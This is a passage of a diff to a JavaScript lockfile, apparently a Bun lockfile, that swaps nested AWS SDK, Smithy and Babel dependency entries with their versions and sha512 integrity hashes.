"sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="], - "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], - "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="], - "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="], - "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="], - "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], - "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="], - "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="], - "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], - "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="], - "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], - "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], + "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], + "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="], + "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="], + "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], + "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + + "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], + + "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], + + "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + + "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], + + "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], + "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], + "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], + + "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + + "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], + + "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], + + "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, 